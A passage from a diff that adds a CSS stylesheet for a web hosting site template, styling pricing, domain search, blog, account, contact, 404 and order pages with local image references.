box-shadow: 1px 1px 11px rgba(98, 129, 157, 0.4); + border-radius: 7px; + background-color: #0479ec; + display: inline-block; + padding: 14px 40px 14px 38px; + letter-spacing: 0; + text-transform: uppercase; +} +.info-pricing ul .custom-btn:hover { + color: #fff; + -ms-transform: scale(1.02); + transform: scale(1.02); + background-color: #238ff9; +} +.info-pricing ul.right { + padding-left: 44px; +} +.info-pricing ul.right .button { + margin-top: 13px; +} +.typography { + margin-bottom: 60px; +} +.typography .title-head { + margin-bottom: 30px; +} +.typography .custom-btn { + margin-bottom: 15px; +} +.typography ol, +.typography ul { + margin: 0 20px; +} +/* 07. User Slider + ==================================== */ +.user-slider { + margin-bottom: 95px; +} +.user-slider .owl-carousel .owl-item img { + width: auto; +} +.user-slider .inside { + width: 740px; + margin: 0 auto; + text-align: center; +} +.user-slider .inside img { + margin: 0 auto 35px; +} +.user-slider .inside .icon { + width: 33px !important; +} +.user-slider .inside p { + font-size: 18px; + color: #7c8ca4; + line-height: 29px; + margin-bottom: 16px; + letter-spacing: 1px; +} +.user-slider .user { + color: #526785; + line-height: 26px; + font-family: 'Microsoft Yahei', serif; +} +.user-slider .user img { + margin-bottom: 15px; + border-radius: 100%; + width: 58px !important; +} +.user-slider .user a { + color: #526785; +} +.user-slider .user span { + color: #7c8ca4; + display: block; + letter-spacing: 1px; + font-family: "HelveticaNeue", serif; + font-size: 15px; +} +.user-slider .owl-prev, +.user-slider .owl-next { + width: 20px; + height: 35px; +} +.user-slider .owl-prev img, +.user-slider .owl-next img { + display: none; +} +.user-slider .owl-prev { + background: url(../images/arrow-left-light.png) no-repeat; +} +.user-slider .owl-next { + background: url(../images/arrow-right-light.png) no-repeat; +} +/* 08. Search Domain + ==================================== */ +.select-hidden { + display: none; + visibility: hidden; + padding-right: 10px; +} +.select { + cursor: pointer; + display: inline-block; + position: relative; + font-size: 16px; + color: #fff; + width: 70px; + height: 20px; +} +.select-styled { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + transition: 0.2s linear; +} +.select-options { + display: none; + position: absolute; + top: 100%; + right: 0; + left: 0; + z-index: 999; + margin: 0; + padding: 0; + width: 195px; + border-radius: 5px; + list-style: none; + box-shadow: 1px 2px 40px rgba(28, 30, 32, 0.14); + background-color: #fff; +} +.select-options:before { + content: ""; + top: -7px; + left: 50%; + -ms-transform: translateX(-50%); + transform: translateX(-50%); + display: inline-block; + border-left: 8px solid transparent; + border-right: 8px solid transparent; + border-bottom: 7px solid #fff; + position: absolute; +} +.select-options li { + margin: 0; + padding: 14px 30px; + font-size: 14px; + text-transform: uppercase; + color: rgba(35, 120, 236, 0.9); +} +.select-options li:first-child { + border-top-right-radius: 5px; + border-top-left-radius: 5px; +} +.select-options li:last-child { + border-bottom-right-radius: 5px; + border-bottom-left-radius: 5px; +} +.select-options li:hover { + color: #524f6f; + background-color: #e2eaf3; +} +.select-options li[rel="hide"] { + display: none; +} +.search-domain { + overflow: visible; + padding: 61px 0 45px 0; + background-color: #298bef; +} +.search-domain h3 { + font-size: 28px; + color: #fff; + letter-spacing: 2px; + padding-top: 0; + margin-top: -5px; +} +.search-domain form { + margin-left: 13px; +} +.search-domain form .form-group { + display: inline-block; + position: relative; +} +.search-domain form .select { + top: 17px; + right: 10px; + border: none; + position: absolute; + padding-right: 18px; + color: #7782aa; + font-size: 14px; + font-family: 'Microsoft Yahei', serif; + text-transform: uppercase; + background: transparent url(../images/down.png) no-repeat 86% 33%; +} +.search-domain form .select-options { + top: 45px; + left: -50%; +} +.search-domain form input { + width: 484px; + border: none; + height: 45px; + padding: 0 90px 0 24px; + line-height: 45px; + box-shadow: 1px 1px 22px rgba(98, 129, 157, 0.15); + border-radius: 7px; + background-color: #fff; +} +.search-domain form input::-webkit-input-placeholder { + color: #7782aa; + font-size: 14px; +} +.search-domain form input::-moz-placeholder { + color: #7782aa; + font-size: 14px; +} +.search-domain form input:-ms-input-placeholder { + color: #7782aa; + font-size: 14px; +} +.search-domain form input:focus { + outline-color: #7782aa; +} +.search-domain form .custom-btn { + position: relative; + top: -1px; + margin-left: 16px; + border: none; +} +/* 09. Social Icon + ==================================== */ +.social-icon li { + background-color: #fff; + box-shadow: 4px 7px 26px rgba(0, 0, 0, 0.03); + margin-right: 6px; + display: inline-block; + width: 45px; + height: 45px; + border-radius: 100%; + line-height: 46px; + text-align: center; + transition: 0.2s linear; +} +.social-icon li:last-child { + margin-right: 0; +} +.social-icon li:last-child i { + font-size: 20px; +} +.social-icon li img { + margin-bottom: 0; +} +.social-icon li:hover { + -ms-transform: scale(1.1); + transform: scale(1.1); +} +.social-icon li a:hover { + color: rgba(31, 127, 226, 0.8); +} +.social-icon i { + color: rgba(31, 127, 226, 0.8); + font-size: 18px; +} +/* 10. Breadcrumbs + ==================================== */ +.breadcrumbs { + background: url(../images/breadcrumbs.jpg) no-repeat center; + background-size: cover; + text-align: center; + padding: 234px 0 195px 0; +} +.breadcrumbs h1 { + font-size: 46px; + color: #fff; + letter-spacing: 2px; + margin-bottom: 18px; + font-family: 'Microsoft Yahei', serif; +} +.breadcrumbs p { + color: #c0dbf4; + letter-spacing: 2px; + font-family: 'Microsoft Yahei', serif; + text-transform: uppercase; +} +/*===== End of 04. Elements Less ======*/ +/*======================================== += 05. Slider Style = +========================================*/ +/* 01. Base Slider + ==================================== */ +.base-slider { + padding-bottom: 10px; +} +.base-slider h2 { + font-size: 50px; + color: #fff; + letter-spacing: 2px; + margin-bottom: 13px; + text-transform: capitalize; + font-family: 'Microsoft Yahei', serif; +} +.base-slider p { + color: #c0dbf4; + font-size: 15px; + text-transform: uppercase; + letter-spacing: 1px; + margin-bottom: 20px; +} +.base-slider p, +.base-slider a { + font-family: 'Microsoft Yahei', serif; +} +.base-slider .custom-btn { + font-size: 14px; + color: #2378ec; + padding: 14px 33px; + letter-spacing: 1px; + text-transform: uppercase; + box-shadow: 1px 1px 11px rgba(98, 129, 157, 0.4); + border-radius: 7px; + background-color: #fff; + display: inline-block; +} +.base-slider .custom-btn:hover { + -ms-transform: scale(1.1); + transform: scale(1.1); +} +.base-slider .inside { + width: 100%; + top: 44%; + left: 50%; + -ms-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + position: absolute; + text-align: center; +} +.base-slider .owl-prev i, +.base-slider .owl-next i { + color: #fff; +} +/*===== End of 05. Slider Style ======*/ +/*================================== += 06. Footer = +==================================*/ +/** + Navigation File + + 01. Footer + 02. Widget Footer + 03. Copyright + + */ +/* 01. Footer + ==================================== */ +footer { + padding-top: 30px; + background-color: #1f7fe2; +} +.pre-footer { + margin-top: -170px; + margin-bottom: -3.3%; +} +.pre-footer img { + width: 100%; +} +/* 02. Widget Footer + ==================================== */ +.widget-footer { + width: 19%; + float: left; + display: inline-block; + margin-bottom: 115px; +} +.widget-footer h4 { + font-size: 16px; + color: #fff; + letter-spacing: 2px; + text-transform: uppercase; + margin-bottom: 28px; + font-family: 'Microsoft Yahei', serif; +} +.widget-footer img { + margin-top: -10px; + margin-bottom: 5px; +} +.widget-footer ul li { + margin-bottom: 14px; +} +.widget-footer ul li a { + font-size: 14px; + color: #c0dbf4; + letter-spacing: 1px; +} +.widget-footer ul li a:hover { + color: #e8f4ff; +} +.widget-footer p { + color: #c0dbf4; + margin-bottom: 25px; + letter-spacing: 1px; +} +.widget-footer.last { + width: 24%; + padding-left: 67px; +} +.widget-footer.last img { + max-width: 144px; + margin-bottom: 23px; +} +/* 03. Copyright + ==================================== */ +.copyright { + width: 100%; + display: inline-block; + padding: 31px 0 35px; +} +.copyright p { + font-size: 14px; + color: rgba(185, 203, 239, 0.6); + letter-spacing: 1px; +} +/*===== End of 06. Footer ======*/ +/*======================================= += 07. About Style = +=======================================*/ +/** + Navigation File + + 01. Info Block + 02. Team Block + 03. About Block + 04. Our Team + + */ +/* 01. Info Block + ==================================== */ +.info-block { + padding: 80px 0; + margin-bottom: 80px; + background-color: #f6fafd; +} +.info-block p { + color: #39335b; + font-size: 26px; + text-align: center; + line-height: 38px; + max-width: 970px; + margin: 0 auto; + letter-spacing: 2px; +} +/* 02. Team Block + ==================================== */ +.team-block { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; + margin-bottom: 140px; +} +.team-block h3 { + color: #39335b; + font-size: 32px; + letter-spacing: 3px; + margin-bottom: 18px; + margin-top: 23px; +} +.team-block ul { + margin-top: 42px; + margin-bottom: 33px; +} +.team-block ul li { + margin-bottom: 23px; +} +.team-block ul li h5 { + color: #39335b; + font-size: 18px; + font-family: 'Microsoft Yahei', serif; + margin-bottom: 10px; + letter-spacing: 2px; +} +.team-block p { + color: #7782aa; + font-size: 14px; + letter-spacing: 1px; +} +.team-block span img { + margin-right: 45px; +} +.team-block .row { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-direction: row; + flex-direction: row; + -ms-flex-pack: end; + justify-content: flex-end; +} +.team-block .col-6 { + width: 460px; + margin-right: 23px; +} +.team-block .images { + text-align: right; + padding-right: 0; +} +.team-block .images img { + width: 630px; +} +.team-block.reverse .row { + -ms-flex-pack: start; + justify-content: flex-start; +} +.team-block.reverse h3 { + font-size: 31px; + line-height: 45px; + margin-top: 28px; +} +.team-block.reverse .images { + text-align: left; + padding-right: 15px; + padding-left: 0; +} +.team-block.reverse .col-6 { + width: 490px; + margin-right: 0; + margin-left: 20px; +} +.team-block.reverse p { + margin-bottom: 20px; + letter-spacing: 1px; +} +.images-bg img { + width: 100%; +} +/* 03. About Block + ==================================== */ +.about-block { + margin-top: -3px; + padding-top: 65px; + background-size: cover; + background: url(../images/bg-team.png) no-repeat; +} +.about-block .hosting-software { + margin-bottom: 90px; +} +.about-block .hosting-software .title-head { + margin-bottom: 43px; +} +.about-block .hosting-software ul { + width: 100%; + display: inline-block; +} +.about-block .hosting-software ul li { + width: 28.5%; + margin-right: 0; + padding-right: 0; +} +.about-block .hosting-software ul li:first-child { + text-align: left; + width: 22%; + padding-left: 25px; +} +.about-block .hosting-software ul li:last-child { + text-align: right; + width: 19%; +} +.about-block .hosting-software ul li:last-child b:after { + content: "x"; + font-size: 50px; +} +/* 04. Our Team + ==================================== */ +.our-team { + margin-bottom: 88px; +} +.our-team .title-head { + color: #fff; + margin-bottom: 44px; +} +.our-team ul { + width: 100%; + display: inline-block; + margin-bottom: 54px; +} +.our-team ul li { + width: 234px; + float: left; + overflow: hidden; + margin-right: 16px; + display: inline-block; +} +.our-team ul li img { + width: 100%; + border-radius: 6px; + transition: 0.3s linear; +} +.our-team ul li:last-child { + margin-right: 0; +} +.our-team ul li .name { + color: #39335b; + font-size: 18px; + letter-spacing: 1px; + margin-bottom: 7px; + font-family: 'Microsoft Yahei', serif; +} +.our-team ul li span { + color: #7782aa; + font-size: 14px; +} +.our-team ul li .inside { + padding: 24px 26px; + box-shadow: 1px 1px 44px rgba(38, 63, 90, 0.09); + border-radius: 5px; + background-color: #fff; + text-align: center; +} +.our-team ul li:hover img { + cursor: pointer; + -ms-transform: scale(1.08); + transform: scale(1.08); +} +/*===== End of 07. About Style ======*/ +/*====================================== += 08. Blog Style = +======================================*/ +/** + Navigation File + + 01. Blog + 02. Post + 03. Order + + */ +/* 01. Blog + ==================================== */ +.blog .container { + width: 1015px; +} +.blog header .container { + width: 1300px; +} +.blog aside { + margin-left: 40px; + margin-top: 14px; +} +.blog .search-domain .container, +.blog footer .container { + width: 1139px; +} +/* 02. Post + ==================================== */ +.post { + margin-bottom: 70px; +} +.post .top-post { + margin-bottom: 17px; +} +.post .top-post h3 { + margin-bottom: 15px; +} +.post .top-post h3 a:hover { + color: #186ae1; +} +.post .top-post a { + color: #39335b; + font-size: 32px; + line-height: 40px; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; +} +.post .top-post .date { + font-size: 20px; + color: #8289a2; + letter-spacing: 1px; + font-family: "AthelasItalic", serif; +} +.post .post-images { + margin-bottom: 20px; +} +.post .post-images img { + height: 220px; + border-radius: 6px; +} +.post .bottom-post p { + font-size: 16px; + color: #39335b; + line-height: 26px; + letter-spacing: 1px; + margin-bottom: 25px; +} +/* 03. Order + ==================================== */ +.order { + width: 100%; + display: block; + color: #0479ec; + padding: 16px 0; + text-transform: uppercase; + text-align: center; + border-radius: 7px; + margin-top: -14px; + box-shadow: none; + background-color: rgba(212, 232, 252, 0.5); +} +/*===== End of 08. Blog Style ======*/ +/*============================================= += 10. Single Blog Style = +=============================================*/ +/* 01. Single Blog + ==================================== */ +.single-blog { + margin-top: -7px; +} +.single-blog.container { + width: 760px; +} +.single-blog .post .top-post { + margin-bottom: 22px; + text-align: center; +} +.single-blog p { + color: #39335b; + font-size: 16px; + line-height: 26px; + margin-bottom: 27px; + letter-spacing: 1px; +} +.single-blog .content-post { + margin-top: 56px; +} +.single-blog .content-post h4 { + color: #39335b; + font-size: 26px; + margin-bottom: 22px; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; +} +.single-blog .content-post p a { + display: inline-block; +} +.single-blog .content-post .quote { + font-size: 16px; + padding-left: 70px; + color: #39335b; + margin-bottom: 38px; + line-height: 27px; + letter-spacing: 1px; + font-family: "AthelasItalic", serif; +} +.single-blog .content-post .video { + position: relative; + margin-bottom: 31px; +} +.single-blog .content-post .video button { + border: none; + top: 50%; + left: 50%; + width: 65px; + height: 65px; + text-align: center; + padding: 0; + position: absolute; + background-color: #fff; + border-radius: 100%; + box-shadow: 1px 2px 65px rgba(0, 0, 0, 0.76); + -ms-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + transition: 0.2s linear; +} +.single-blog .content-post .video button:hover { + box-shadow: none; +} +.single-blog .content-post .video button img { + width: 22px; + margin-left: 5px; +} +.single-blog .content-post .video iframe { + margin-bottom: -2px; +} +.single-blog .content-post .video img { + border-radius: 6px; +} +.single-blog .content-post .video .modal .modal-dialog { + top: 50%; + -ms-transform: translateY(-50%); + transform: translateY(-50%); + margin-top: -10px; +} +.single-blog .content-post ul { + display: inline-block; + margin-bottom: 18px; + margin-top: 20px; +} +.single-blog .content-post ul li { + display: inline-block; + float: left; +} +.single-blog .content-post ul li:first-child { + margin-right: 17px; +} +.single-blog .content-post ul li:last-child { + margin-top: 27px; +} +.single-blog .content-post ul li img { + border-radius: 6px; +} +.single-blog .content-post .last { + margin-bottom: 60px; +} +.single-blog .content-post .share { + padding-bottom: 56px; + margin-top: 60px; + margin-bottom: 50px; + border-bottom: 4px solid #e8eef5; +} +.single-blog .content-post .share h5 { + color: #39335b; + font-size: 18px; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; + margin-bottom: 20px; +} +.single-blog .content-post .share a { + width: 46px; + height: 46px; + line-height: 53px; + text-align: center; + border-radius: 100%; + display: inline-block; + margin-right: 10px; + background-color: #0479ec; + box-shadow: 4px 7px 26px rgba(0, 0, 0, 0.03); +} +.single-blog .related-post { + z-index: 9; + position: relative; +} +.single-blog .related-post h5 { + color: #39335b; + font-size: 18px; + font-family: 'Microsoft Yahei', serif; + margin-bottom: 26px; + letter-spacing: 2px; +} +.single-blog .related-post ul { + width: 100%; + display: inline-block; +} +.single-blog .related-post ul li { + width: 50%; + float: left; +} +.single-blog .related-post ul li img { + margin-right: 12px; + border-radius: 6px; +} +.single-blog .related-post ul li a { + color: #0479ec; + font-size: 18px; + line-height: 26px; + letter-spacing: 1px; +} +.single-blog .related-post ul li a:first-child { + float: left; + display: inline-block; +} +.single-blog .related-post ul li:last-child { + padding-left: 21px; +} +/*===== End of 10. Single Blog Style ======*/ +/*============================================ += 11. My Account Style = +============================================*/ +/** + Navigation File + + 01. My Account + 02. Information + 03. Tab Content + 04. Payment History + 05. Password + + */ +/* 01. My Account + ==================================== */ +.my-account { + background-color: #f5fafd; +} +.my-account header { + margin-bottom: 0; +} +.top-panel { + padding: 26px 0 19px 0; + margin-bottom: 65px; + box-shadow: 1px 1px 19px rgba(28, 61, 94, 0.17); + background-color: #fff; +} +.top-panel .nav { + text-align: center; + border: none; +} +.top-panel .nav li { + float: none; + display: inline-block; + margin-bottom: 0; + margin-right: 60px; +} +.top-panel .nav li:last-child { + margin-right: 0; +} +.top-panel .nav li:nth-child(2) svg { + margin-top: -5px; +} +.top-panel .nav li svg { + height: 26px; +} +.top-panel .nav li.active a, +.top-panel .nav li.active a:focus { + border: none; +} +.top-panel .nav li.active a { + color: #0479ec; +} +.top-panel .nav li.active a svg { + fill: #0479ec; +} +.top-panel .nav li a { + color: rgba(57, 51, 91, 0.9); + padding: 0; + border: none; + font-size: 13px; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; + text-transform: uppercase; +} +.top-panel .nav li a:hover { + background-color: transparent; +} +.top-panel .nav li a:focus { + background-color: transparent; +} +.top-panel .nav li a svg { + width: 21px; + vertical-align: middle; + margin-right: 5px; +} +.top-panel .nav li a img { + margin-right: 5px; + vertical-align: middle; +} +/* 02. Information + ==================================== */ +#information .content { + padding: 28px 30px 6px 30px; +} +#information .content .last a { + text-decoration: underline; + border: none; + padding-bottom: 0; + margin-bottom: 20px; +} +#information .content .last li { + letter-spacing: 1px; +} +#information .password { + padding: 29px 30px 30px 30px; +} +/* 03. Tab Content + ==================================== */ +.tab-content { + padding-bottom: 250px; +} +.tab-content .content { + width: 600px; + display: -ms-flexbox; + display: flex; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 28px 30px 37px 30px; + margin: 0 auto 30px; + box-shadow: 1px 1px 22px rgba(157, 184, 209, 0.19); + border-radius: 3px; + background-color: #fff; +} +.tab-content .content a { + display: inline-block; +} +.tab-content .center { + padding: 0 120px 0 12px; +} +.tab-content .last { + text-align: right; +} +.tab-content .last span { + margin-top: 22px; +} +.tab-content h5 { + color: #39335b; + font-size: 32px; + margin-bottom: 31px; + text-align: center; + letter-spacing: 3px; +} +.tab-content h6 { + color: #39335b; + font-size: 18px; + margin-bottom: 17px; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; +} +.tab-content a { + color: #0479ec; + font-size: 16px; + margin-bottom: 16px; + border-bottom: 1px solid #0479ec; + padding-bottom: 3px; +} +.tab-content ul { + margin-bottom: 34px; +} +.tab-content ul li { + color: #7782aa; + font-size: 15px; + margin-bottom: 9px; + letter-spacing: 1px; +} +.tab-content span { + color: #7782aa; + display: inline-block; +} +.tab-content span b { + font-family: 'Microsoft Yahei', serif; + display: block; + color: #39335b; + font-weight: normal; + margin-bottom: 6px; +} +#payments .content { + margin: 0 auto 25px; + padding: 30px 30px 18px 30px; +} +#payments .last span { + margin-top: 0; +} +/* 04. Payment History + ==================================== */ +.payment-history { + display: -ms-flexbox; + display: flex; + padding: 30px 30px 14px 30px; + -ms-flex-pack: justify; + justify-content: space-between; +} +.payment-history, +.password { + width: 600px; + margin: 0 auto; + padding: 27px 30px 14px 30px; + box-shadow: 1px 1px 22px rgba(157, 184, 209, 0.19); + border-radius: 3px; + background-color: #fff; +} +/* 05. Password + ==================================== */ +.password { + text-align: right; +} +.password span { + float: left; + color: #39335b; + font-size: 18px; + letter-spacing: 2px; + display: inline-block; + font-family: 'Microsoft Yahei', serif; +} +.password a { + color: #0479ec; + font-size: 15px; + margin-bottom: 0; + display: inline-block; + letter-spacing: 1px; +} +/*===== End of 11. My Account Style ======*/ +/*========================================= += 12. Contact Style = +=========================================*/ +/** + Navigation File + + 01. Contact + 02. Info Block Contact + 03. Form Contact + + */ +/* 01. Contact + ==================================== */ +.contact { + background-color: #fff; +} +.contact .bg-form { + background: url(../images/bg-form.jpg) no-repeat; + background-size: cover; + padding-top: 171px; + padding-bottom: 255px; +} +.contact .bg-form .container { + width: 950px; +} +.contact h2 { + color: #fff; + font-size: 46px; + margin-bottom: 16px; + letter-spacing: 2px; + font-family: 'Microsoft Yahei', serif; +} +.contact p { + color: #c0dbf4; + font-size: 15px; + letter-spacing: 2px; + margin-bottom: 22px; + text-transform: uppercase; +} +.contact .inside { + padding-top: 50px; + text-align: center; + padding-bottom: 56px; +} +.contact .inside .images { + width: 86px; + height: 86px; + margin: 0 auto 25px; + text-align: center; + -ms-flex-align: center; + align-items: center; + display: -ms-flexbox; + display: flex; + -ms-flex-pack: center; + justify-content: center; + border-radius: 100%; + background-color: #307ce4; + box-shadow: 1px 1px 44px rgba(0, 0, 0, 0.1); +} +.contact .inside .images img { + width: 45px; +} +.contact .inside.left { + padding-right: 118px; +} +.contact .inside.right { + padding-left: 65px; +} +.contact .inside h4 { + color: #fff; + font-size: 18px; + font-family: 'Microsoft Yahei', serif; + letter-spacing: 2px; + margin-bottom: 15px; +} +.contact .inside a, +.contact .inside span { + font-size: 16px; + color: #fff; + letter-spacing: 1px; +} +.contact .inside span { + line-height: 24px; +} +.contact .widget-footer p { + font-size: 14px; + letter-spacing: 1px; + text-transform: none; +} +/* 02. Info Block Contact + ==================================== */ +.info-block-contact { + position: relative; +} +.info-block-contact:before { + content: ""; + width: 100%; + height: 2px; + top: 47%; + left: 0; + background-color: rgba(222, 230, 235, 0.2); + position: absolute; + display: block; + -ms-transform: translateY(-50%); + transform: translateY(-50%); +} +.info-block-contact:after { + content: ""; + width: 2px; + height: 100%; + top: 16px; + left: 50%; + background-color: rgba(222, 230, 235, 0.2); + position: absolute; + display: block; + -ms-transform: translateX(-50%); + transform: translateX(-50%); +} +/* 03. Form Contact + ==================================== */ +.form-contact { + position: relative; + z-index: 9999; + width: 541px; + margin: -200px auto 60px; +} +.form-contact h3 { + font-size: 38px; + color: #fff; + text-align: center; + font-family: 'Microsoft Yahei', serif; + margin-bottom: 50px; + letter-spacing: 2px; +} +.form-contact label { + font-size: 15px; + letter-spacing: 1px; + color: #8198a6; +} +.form-contact form, +.login-bg form, +.sign-up form { + padding: 45px 65px 30px 63px; + box-shadow: 1px 1px 44px rgba(38, 63, 90, 0.09); + border-radius: 5px; + background-color: #fff; +} +.form-contact form .form-group, +.login-bg form .form-group, +.sign-up form .form-group { + margin-bottom: 35px; +} +.form-contact form .form-group:last-child, +.login-bg form .form-group:last-child, +.sign-up form .form-group:last-child { + margin-top: -13px; + margin-bottom: 0; +} +.form-contact form input, +.login-bg form input, +.sign-up form input { + width: 100%; + font-size: 15px; + color: #8198a6; + padding-bottom: 18px; + border: none; + border-bottom: 2px solid #dee6eb; +} +.form-contact form input::-webkit-input-placeholder, +.login-bg form input::-webkit-input-placeholder, +.sign-up form input::-webkit-input-placeholder { + font-size: 15px; + color: #8198a6; + letter-spacing: 1px; +} +.form-contact form input::-moz-placeholder, +.login-bg form input::-moz-placeholder, +.sign-up form input::-moz-placeholder { + font-size: 15px; + letter-spacing: 1px; + color: #8198a6; +} +.form-contact form input:-ms-input-placeholder, +.login-bg form input:-ms-input-placeholder, +.sign-up form input:-ms-input-placeholder { + font-size: 15px; + color: #8198a6; + letter-spacing: 1px; +} +.form-contact form input:-moz-placeholder, +.login-bg form input:-moz-placeholder, +.sign-up form input:-moz-placeholder { + font-size: 15px; + color: #8198a6; + letter-spacing: 1px; +} +.form-contact form input:focus, +.login-bg form input:focus, +.sign-up form input:focus { + outline: none; + border-color: rgba(119, 130, 170, 0.6); +} +.form-contact form label, +.login-bg form label, +.sign-up form label { + font-size: 15px; + color: #8198a6; + display: block; + margin-bottom: 22px; +} +.form-contact form textarea, +.login-bg form textarea, +.sign-up form textarea { + width: 100%; + color: #8198a6; + height: 183px; + border: 2px solid #dee6eb; +} +.form-contact form textarea:focus, +.login-bg form textarea:focus, +.sign-up form textarea:focus { + outline: none; + border-color: rgba(119, 130, 170, 0.6); +} +.form-contact form button, +.login-bg form button, +.sign-up form button { + font-size: 15px; + color: #fff; + padding: 15px 48px; + border-radius: 7px; + text-transform: uppercase; + border: none; + transition: 0.2s linear; + background-color: #0479ec; + font-family: 'Microsoft Yahei', serif; +} +.form-contact form button:hover, +.login-bg form button:hover, +.sign-up form button:hover { + background-color: #238ff9; +} +/*===== End of 12. Contact Style ======*/ +/*============================================= += 09. Widget Blog Style = +=============================================*/ +/** + Navigation File + + 01. Widget + 02. Widget Categories + 03. Widget Popular + + */ +/* 01. Widget + ==================================== */ +.widget { + margin-bottom: 56px; +} +.widget-title { + color: #39335b; + font-size: 18px; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; + margin-bottom: 25px; +} +/* 02. Widget Categories + ==================================== */ +.widget-categories li { + margin-bottom: 18px; +} +.widget-categories li a { + color: #39335b; + font-size: 18px; +} +.widget-categories li a:hover { + color: #186ae1; +} +.widget-categories li span { + color: #0479ec; + margin-right: 5px; +} +/* 03. Widget Popular + ==================================== */ +.widget-popular li { + margin-bottom: 33px; +} +.widget-popular a { + color: #0479ec; + font-size: 18px; + line-height: 26px; + letter-spacing: 1px; +} +.widget-categories ul { + border-radius: 5px; + padding: 10px; + background: #f5f8fb; +} +/*===== End of 09. Widget Blog Style ======*/ +/*========================================== += 13. 404 Page Style = +==========================================*/ +/* 01. Error Page + ==================================== */ +.error-page { + background-color: #0479ec; +} +.error-page .inside { + padding-top: 264px; + padding-bottom: 264px; +} +.error-page .inside h2 { + font-size: 156px; + margin-bottom: 30px; +} +.error-page .inside h4 { + font-size: 44px; + margin-bottom: 18px; + letter-spacing: 2px; + font-family: 'Microsoft Yahei', serif; +} +.error-page .inside p { + font-size: 16px; + font-family: 'Microsoft Yahei', serif; + text-transform: uppercase; + letter-spacing: 2px; +} +.error-page .inside h2, +.error-page .inside h4, +.error-page .inside p { + color: #fff; + line-height: normal; +} +/*===== End of 13. 404 Page Style ======*/ +/*======================================= += 14. Order Style = +=======================================*/ +/** + Navigation File + + 01. Order Page + 02. Content Order + 03. Total Order + 04. Account Details + + */ +/* 01. Order Page + ==================================== */ +.order-page .breadcrumbs { + margin-bottom: 85px; + padding: 170px 0 83px; + background: #0479ec; +} +.order-page .tab-content .content { + padding: 28px 34px 27px 30px; +} +.order-page .tab-content .center { + padding: 0 115px 0 17px; +} +.order-page .tab-content .center span { + display: block; +} +.order-page .tab-content .center span > span { + margin-top: 10px; +} +.order-page .tab-content .last span { + display: block; + margin-top: 57px; +} +.order-page .tab-content .last span > span { + margin-top: 8px; +} +.order-page .tab-content div > img { + margin-top: 10px; + margin-left: 14px; +} +/* 02. Content Order + ==================================== */ +.content-order h2 { + color: #39335b; + font-size: 32px; +} +.content-order .first { + padding-left: 95px; + letter-spacing: 3px; + margin-bottom: 27px; +} +.content-order .tab-content { + width: 635px; + float: right; + padding-bottom: 0; +} +.content-order .tab-content .content { + width: auto; + border-radius: 3px; + box-shadow: none; + margin-bottom: 64px; + background-color: #f5f8fb; +} +.content-order input[type="radio"] { + display: none; +} +.content-order input[type="radio"] + label span { + width: 16px; + height: 15px; + margin-right: 10px; + cursor: pointer; + border-radius: 100%; + vertical-align: middle; + display: inline-block; + background-color: rgba(119, 130, 170, 0.2); +} +.content-order input[type="radio"]:checked + label span { + background: url(../images/radio-check.png) no-repeat; +} +/* 03. Total Order + ==================================== */ +.total-order { + width: 285px; + padding: 17px 28px 26px 34px; + border-radius: 3px; + background-color: #f5f8fb; +} +.total-order h4 { + color: #39335b; + font-size: 18px; + font-family: 'Microsoft Yahei', serif; + letter-spacing: 2px; + margin-bottom: 19px; +} +.total-order ul { + margin-bottom: 22px; +} +.total-order ul li { + color: #7782aa; + font-size: 15px; + text-align: left; + margin-bottom: 8px; + letter-spacing: 1px; +} +.total-order ul li span { + float: right; + font-family: 'Microsoft Yahei', serif; +} +.total-order b { + font-weight: normal; +} +.total-order form { + padding: 18px 0 2px 0; + border-width: 3px 0; + border-color: #dee6eb; + border-style: solid; + text-align: left; + margin-bottom: 22px; +} +.total-order form label { + color: #7782aa; + font-size: 15px; + margin-left: 20px; + display: block; + font-family: "HelveticaNeue", serif; +} +.total-order form input { + float: left; + margin-top: 3px; +} +.total-order form span { + float: right; +} +.total-order input[type="radio"] + label { + cursor: pointer; + margin-left: 0; + text-align: left; +} +.total-order input[type="radio"] + label span { + padding-left: 0; + margin-bottom: 0; +} +.total-order input[type="radio"] + label .first { + float: left; +} +.total-order input[type="radio"] + label b { + float: right; +} +.total-order .total { + width: 100%; + display: inline-block; + text-align: left; + color: #39335b; + font-size: 15px; + text-transform: uppercase; + font-family: 'Microsoft Yahei', serif; +} +.total-order .total b { + float: right; +} +/* 04. Account Details + ==================================== */ +.account-details { + width: 635px; + float: right; +} +.account-details h2 { + color: #39335b; + font-size: 32px; + letter-spacing: 3px; + margin-bottom: 31px; +} +.account-details form .form-group { + clear: both; + margin-bottom: 27px; +} +.account-details form .form-group.col-2 { + width: 50%; + clear: none; + float: left; + display: inline-block; +} +.account-details form .form-group.col-2 input { + width: 300px; +} +.account-details form .form-group.col-2:nth-child(2), +.account-details form .form-group.col-2:nth-child(5) { + padding-left: 16px; +} +.account-details form .form-group .select-styled { + padding: 0 15px; +} +.account-details form .form-group .select-options { + width: 100%; + margin-top: 15px; +} +.account-details form .form-group .select-options li { + padding: 14px 20px; + line-height: normal; +} +.account-details form .form-group input { + color: #524f6f; +} +.account-details form .form-group input:focus { + border-color: rgba(119, 130, 170, 0.6); +} +.account-details form .form-group.last { + padding-bottom: 10px; + margin-bottom: 30px; + margin-top: 34px; + border-bottom: 2px solid #dee6eb; +} +.account-details form .form-group.last input { + width: auto; + height: auto; +} +.account-details form .form-group.last label { + width: 100%; + color: #7782aa; + cursor: pointer; + font-size: 15px; + display: inline-block; +} +.account-details form .form-group.checkbox { + margin-bottom: 50px; +} +.account-details form .form-group.checkbox span { + color: #7782aa; + font-size: 15px; + vertical-align: top; + font-family: "HelveticaNeue", serif; +} +.account-details form .form-group.checkbox input { + width: auto; + height: auto; + margin-left: 0; + display: none; +} +.account-details form .form-group.checkbox input + label { + padding-left: 0; +} +.account-details form .form-group.checkbox input + label .first { + width: 17px; + height: 16px; + padding-left: 0; + margin-right: 10px; + display: 